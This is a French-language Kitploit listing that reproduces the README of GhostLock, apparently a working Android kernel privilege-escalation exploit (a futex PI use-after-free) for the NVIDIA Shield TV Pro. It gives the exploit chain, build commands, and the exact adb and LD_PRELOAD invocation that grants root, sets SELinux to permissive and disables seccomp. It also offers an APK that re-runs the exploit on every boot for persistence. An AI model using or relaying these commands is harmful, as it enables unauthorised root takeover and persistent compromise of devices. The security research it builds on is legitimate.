Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
GhostLock-NVIDIA-Shield-9.2.4 — Port validé de GhostLock CVE-2026-43499 pour NVIDIA Shield TV Pro mdarcy 9.2.4 | Kitploit
Outils/GitHubGitHub/cyberbalsa/ghostlock-nvidia-shield-9.2.4
Sécurité AndroidEscalade de PrivilègesFrameworks d'ExploitationMécanismes de PersistanceExploitationSécurité MobileDéveloppement de Charges UtilesExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
cyberbalsa/ghostlock-nvidia-shield-9.2.4

GhostLock-NVIDIA-Shield-9.2.4

Port validé de GhostLock CVE-2026-43499 pour NVIDIA Shield TV Pro mdarcy 9.2.4

Voir le dépôt
1il y a 15h 9mPas encore vérifié

GhostLock pour NVIDIA Shield TV Pro 9.2.4

Port arm64 validé de l'use-after-free futex PI de GhostLock (CVE-2026-43499) pour la NVIDIA Shield TV Pro 2019 (mdarcy) sous Shield Experience 9.2.4. La charge utile modifie les identifiants du démon ADB actif, de sorte que les nouveaux shells ADB obtiennent l'UID 0 sans déverrouillage du bootloader, effacement des données utilisateur, installation de su ou modification de la partition vérifiée.

Il s'agit d'un exploit noyau spécifique à une build destiné à la recherche en sécurité autorisée. Une incohérence ou une course perdue peut provoquer un panic du noyau. Ne l'exécutez pas sur une autre empreinte, un autre noyau, un autre appareil ou une autre révision matérielle.

Cible validée

ChampValeur requise
ProduitNVIDIA Shield TV Pro 2019, mdarcy
EmpreinteNVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys
Noyau4.9.141-tegra-gb6e5605a
Niveau de correctif Android2026-01-05
Base du noyau0xffffff8008080000 (décalage désactivé)

Le port a été validé sur un appareil verrouillé avec Verified Boot vert et dm-verity appliqué. Ces mécanismes restent intacts car l'exploit modifie uniquement l'état du noyau en mémoire.

Résultat et durée de vie

Après une exécution réussie, une nouvelle connexion signale UID/GID 0 pour adbd et son shell enfant, toutes les capacités jusqu'à la capacité 37, seccomp désactivé et SELinux permissif. Le root survit aux déconnexions du client ADB. Il ne survit pas à un redémarrage d'adbd ni à un redémarrage de l'appareil par lui-même.

Pour une persistance pratique après redémarrage sans modifier les partitions vérifiées, le dépôt inclut une APK dans les données utilisateur. Son récepteur BOOT_COMPLETED non exporté démarre un service de premier plan de courte durée, qui exécute l'exploit épinglé par hachage une fois par démarrage depuis un UID d'application non privilégié et s'arrête lorsque le lanceur se termine. Aucun hôte externe n'est nécessaire après l'installation. Un chien de garde Podman externe reste disponible comme solution de secours. Voir persistence/README.md et watchdog/README.md.

Il s'agit d'une ré-exploitation autonome, pas d'un correctif de firmware statique : chaque démarrage comporte un court intervalle pendant lequel adbd conserve encore ses identifiants d'origine. Faire démarrer adbd en root avant l'initialisation par Android nécessiterait de modifier la chaîne de démarrage vérifiée, ce qui sort du cadre de cette conception verrouillée sans effacement.

Chaîne d'exploitation

  1. Déclencher le chemin de rollback futex PI vulnérable et conserver un rt_mutex_waiter obsolète sur une pile du noyau.
  2. Marquer la pile récupérée avec MCAST_BLOCK_SOURCE et rediriger l'opération de l'arbre rt-mutex.
  3. Récupérer une page de slab mm_struct d'ordre 2 libérée avec une charge utile skb façonnée.
  4. Rediriger ashmem_misc.fops vers une table factice adossée aux gestionnaires de lecture/écriture hérités de configfs.
  5. Parcourir la liste des tâches, localiser le PID adbd demandé et vérifier son objet d'identifiants complet.
  6. Effectuer une écriture bornée sur les ID, securebits et mots de capacités ; rendre SELinux permissif ; puis restaurer les opérations ashmem et le pointeur d'ID de démarrage.

L'étape héritée de lecture/écriture physique du pipe-buffer n'est pas utilisée. Les observations détaillées de la cible et les décalages vérifiés figurent dans PORT_STATUS.md.

Compilation

Le compilateur est Android NDK r29 (aarch64-linux-android30-clang). Compilez directement avec un NDK Linux installé :

root@kitploit:~
cd exploit
make NDK=/opt/android-ndk-r29

Ou construisez l'image Podman fournie, qui télécharge l'archive Linux officielle r29 et vérifie son SHA-1 publié avant extraction :

root@kitploit:~
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
  -v "$PWD:/src:Z" \
  -w /src/exploit \
  ghostlock-android:ndk-r29 make -B

Sortie :

root@kitploit:~
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761

La build Shield exclut volontairement le démon su intégré du projet de référence et la charge utile de fond d'écran.

Exécution

Connectez-vous via ADB réseau autorisé, poussez l'asset de version ou la build locale, puis entrez dans un shell ADB :

root@kitploit:~
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
  exploit/build/preload-mdarcy-9.2.4.so \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell

Exécutez ceci dans ce shell de l'appareil :

root@kitploit:~
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true

Déconnectez-vous et ouvrez un nouveau transport pour vérification :

root@kitploit:~
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
  'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'

La charge utile refuse de se redéclencher depuis un shell ADB déjà en UID 0 sauf si GHOSTLOCK_FORCE_ROOT_TRIGGER=1 est fourni délibérément. Ne forcez pas ; le chemin d'ordonnancement privilégié a un comportement PI différent et peut provoquer un panic.

Persistance sur l'appareil

Téléchargez l'APK de version signée vers persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk, puis installez-la et armez-la depuis un hôte ADB PowerShell autorisé :

root@kitploit:~
./persistence/install.ps1 `
  -Target SHIELD_ADDRESS:5555 `
  -AdbPath C:/path/to/platform-tools/adb.exe

L'installateur ne modifie que les données utilisateur et ne redémarre pas. Au prochain BOOT_COMPLETED, l'application valide l'empreinte exacte, le noyau et le hachage de la charge utile intégrée, enregistre sa tentative et invoque GhostLock depuis son UID d'application normal. Un verrou de fichier, un état d'une tentative par démarrage et un délai de refroidissement de 15 minutes entre démarrages empêchent les tentatives en double ou les boucles de redémarrage. Elle n'installe aucun binaire su. Android affiche une notification de faible priorité Restoring ADB root uniquement pendant que le lanceur natif est actif ; le processus d'attente la supprime à la sortie du processus. Voir persistence/README.md pour les détails de compilation, signature, journaux, vérification, récupération et désinstallation.

L'APK finale a été validée avec le chien de garde externe arrêté : le compteur de démarrage 134 a d'abord exposé adbd stock en UID 2000 avec enforcement, et le transport suivant était en UID/GID 0 avec le masque de capacités complet 0x3fffffffff, seccomp désactivé et SELinux permissif. Le service et la notification s'étaient nettoyés d'eux-mêmes.

Journaux et récupération

Les diagnostics d'exécution manuelle sont écrits de manière synchrone vers /sdcard/Download/log_<timestamp>.txt, avec repli sur /data/local/tmp. L'application de démarrage redirige la sortie du lanceur et de la charge utile vers son files/boot.log privé, lisible avec run-as com.cyberbalsa.ghostlockboot. Si la course provoque un panic du noyau, l'état de pré-déclenchement empêche une autre tentative dans ce compteur de démarrage et le délai de refroidissement de 15 minutes s'applique après le redémarrage.

Plan du dépôt

  • exploit/src/ : déclenchement, récupération, lecture/écriture arbitraire et correctif borné des identifiants adbd.
  • exploit/targets/shield-mdarcy-9.2.4/ : disposition exacte de la cible spécifique à la build.
  • analysis/ : outils d'extraction des symboles et de la disposition du noyau.
  • persistence/ : APK de démarrage sur l'appareil, lanceur natif et installateur.
  • watchdog/ : solution de secours côté hôte épinglée par hachage.
  • report.md : analyse originale du port de référence OPPO conservée pour la traçabilité.

Crédits et licence

Ce port dérive du framework de recherche et d'exploitation GhostLock publié par NebuSec et du port de référence OPPO PCKM00 par yijiacloud. KernelSnitch est intégré selon ses conditions en amont.

  • https://github.com/NebuSec/CyberMeowfia
  • https://github.com/yijiacloud/GhostLock-OPPO-PCKM00
  • https://github.com/torvalds/linux/commit/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

Apache-2.0 ; voir LICENSE.

Télécharger l’outil